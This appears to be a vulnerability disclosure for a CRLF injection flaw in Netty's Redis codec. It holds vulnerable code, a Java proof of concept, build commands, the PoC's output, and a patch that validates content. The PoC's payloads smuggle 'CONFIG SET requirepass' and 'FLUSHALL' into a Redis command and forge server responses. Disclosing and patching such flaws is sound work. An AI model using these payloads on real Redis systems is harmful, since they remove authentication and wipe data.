Netty Redis Codec CVE-2026-42586

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    ByteBuf buf = allocator.ioBuffer(type.length() + ByteBufUtil.utf8MaxBytes(content) +
                                     RedisConstants.EOL_LENGTH);
    type.writeTo(buf);
    ByteBufUtil.writeUtf8(buf, content);       // <-- NO CRLF VALIDATION
    buf.writeShort(RedisConstants.EOL_SHORT);   // <-- Appends \r\n
    out.add(buf);
}

// AbstractStringRedisMessage.java:30-32
AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    // NO CRLF validation
}

// Application code that builds Redis commands from user input
String userKey = request.getParameter("key");  // Attacker controls this
InlineCommandRedisMessage msg = new InlineCommandRedisMessage("GET " + userKey);
channel.writeAndFlush(msg);

// Proxy forwarding a simple string response
SimpleStringRedisMessage response = new SimpleStringRedisMessage(upstreamResponse);
downstreamChannel.writeAndFlush(response);

ErrorRedisMessage error = new ErrorRedisMessage("ERR " + errorDetail);

import io.netty.buffer.ByteBuf;
import io.netty.buffer.ByteBufUtil;
import io.netty.buffer.UnpooledByteBufAllocator;
import io.netty.channel.ChannelHandlerContext;
import io.netty.channel.embedded.EmbeddedChannel;
import io.netty.handler.codec.redis.*;

import java.nio.charset.StandardCharsets;
import java.util.List;
import java.util.ArrayList;

/**
 * PoC: Redis Encoder CRLF Injection Vulnerability
 *
 * Demonstrates that InlineCommandRedisMessage, SimpleStringRedisMessage,
 * and ErrorRedisMessage do not validate content for CRLF characters,
 * allowing Redis command injection via the RESP protocol.
 */
public class RedisEncoderCRLFInjectionPoC {

    public static void main(String[] args) {
        System.out.println("=== Netty Redis Encoder CRLF Injection PoC ===\n");

        testInlineCommandInjection();
        testSimpleStringInjection();
        testErrorMessageInjection();

        System.out.println("\n=== PoC Complete ===");
    }

    /**
     * Test 1: Inline Command Injection
     * An attacker-controlled string injected into InlineCommandRedisMessage
     * results in multiple Redis commands being sent.
     */
    static void testInlineCommandInjection() {
        System.out.println("[TEST 1] Inline Command CRLF Injection");
        System.out.println("----------------------------------------");

        // Malicious content: inject FLUSHALL after a benign PING
        String maliciousContent = "PING\r\nCONFIG SET requirepass \"\"\r\nFLUSHALL";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        // This should be rejected but is accepted
        InlineCommandRedisMessage msg = new InlineCommandRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   InlineCommandRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // Count how many CRLF-delimited commands are in the output
        String[] commands = encoded.split("\r\n");
        System.out.println("Number of commands parsed by Redis: " + commands.length);
        for (int i = 0; i < commands.length; i++) {
            if (!commands[i].isEmpty()) {
                System.out.println("  Command " + (i + 1) + ": " + commands[i]);
            }
        }

        boolean vulnerable = commands.length > 1;
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Multiple commands injected!" : "NO"));
        System.out.println();
    }

    /**
     * Test 2: SimpleString Response Injection
     * When Netty acts as a Redis proxy/middleware, a malicious SimpleString
     * can inject fake responses to the downstream client.
     */
    static void testSimpleStringInjection() {
        System.out.println("[TEST 2] SimpleString Response CRLF Injection");
        System.out.println("----------------------------------------------");

        // Malicious content: inject a fake bulk string response after OK
        String maliciousContent = "OK\r\n$6\r\nhacked";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        SimpleStringRedisMessage msg = new SimpleStringRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   SimpleStringRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        // The RESP protocol uses the first byte to determine type:
        // '+' = Simple String, '$' = Bulk String
        // A client parsing this would see:
        // 1. "+OK\r\n"       -> Simple String "OK"
        // 2. "$6\r\nhacked"  -> Bulk String "hacked" (injected!)
        boolean vulnerable = encoded.contains("+OK\r\n$6\r\nhacked");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Response poisoning possible!" : "NO"));
        System.out.println();
    }

    /**
     * Test 3: Error Message Injection
     * Similar to SimpleString but with error messages.
     */
    static void testErrorMessageInjection() {
        System.out.println("[TEST 3] Error Message CRLF Injection");
        System.out.println("--------------------------------------");

        String maliciousContent = "ERR unknown\r\n+INJECTED_OK";

        EmbeddedChannel channel = new EmbeddedChannel(new RedisEncoder());

        ErrorRedisMessage msg = new ErrorRedisMessage(maliciousContent);
        channel.writeOutbound(msg);

        ByteBuf output = channel.readOutbound();
        String encoded = output.toString(StandardCharsets.UTF_8);
        output.release();
        channel.finishAndReleaseAll();

        System.out.println("Input:   ErrorRedisMessage(\"" +
                           maliciousContent.replace("\r", "\\r").replace("\n", "\\n") + "\")");
        System.out.println("Encoded: \"" +
                           encoded.replace("\r", "\\r").replace("\n", "\\n") + "\"");

        boolean vulnerable = encoded.contains("-ERR unknown\r\n+INJECTED_OK");
        System.out.println("VULNERABLE: " + (vulnerable ? "YES - Error + fake OK injected!" : "NO"));
        System.out.println();
    }
}

# Build Netty (skip tests for speed)
./mvnw install -pl common,buffer,codec,codec-redis,transport -DskipTests -Dcheckstyle.skip=true \
  -Denforcer.skip=true -Djapicmp.skip=true -Danimal.sniffer.skip=true \
  -Drevapi.skip=true -Dforbiddenapis.skip=true -Dspotbugs.skip=true -q
# Set classpath
JARS=$(find ~/.m2/repository/io/netty -name "netty-*.jar" -path "*/4.2.12.Final/*" \
  | grep -v sources | grep -v javadoc | tr '\n' ':')
# Compile and run
javac -cp "$JARS" RedisEncoderCRLFInjectionPoC.java
java -cp "$JARS:." RedisEncoderCRLFInjectionPoC

=== Netty Redis Encoder CRLF Injection PoC ===

[TEST 1] Inline Command CRLF Injection
----------------------------------------
Input:   InlineCommandRedisMessage("PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL")
Encoded: "PING\r\nCONFIG SET requirepass ""\r\nFLUSHALL\r\n"
Number of commands parsed by Redis: 3
  Command 1: PING
  Command 2: CONFIG SET requirepass ""
  Command 3: FLUSHALL
VULNERABLE: YES - Multiple commands injected!

[TEST 2] SimpleString Response CRLF Injection
----------------------------------------------
Input:   SimpleStringRedisMessage("OK\r\n$6\r\nhacked")
Encoded: "+OK\r\n$6\r\nhacked\r\n"
VULNERABLE: YES - Response poisoning possible!

[TEST 3] Error Message CRLF Injection
--------------------------------------
Input:   ErrorRedisMessage("ERR unknown\r\n+INJECTED_OK")
Encoded: "-ERR unknown\r\n+INJECTED_OK\r\n"
VULNERABLE: YES - Error + fake OK injected!


=== PoC Complete ===

AbstractStringRedisMessage(String content) {
    this.content = ObjectUtil.checkNotNull(content, "content");
    validateContent(content);
}

private static void validateContent(String content) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new IllegalArgumentException(
                "Redis message content contains illegal CRLF character at index " + i);
        }
    }
}

private static void writeString(ByteBufAllocator allocator, RedisMessageType type,
                                String content, List<Object> out) {
    for (int i = 0; i < content.length(); i++) {
        char c = content.charAt(i);
        if (c == '\r' || c == '\n') {
            throw new RedisCodecException(
                "Redis message content contains CRLF at index " + i);
        }
    }
    // ... existing encoding logic
}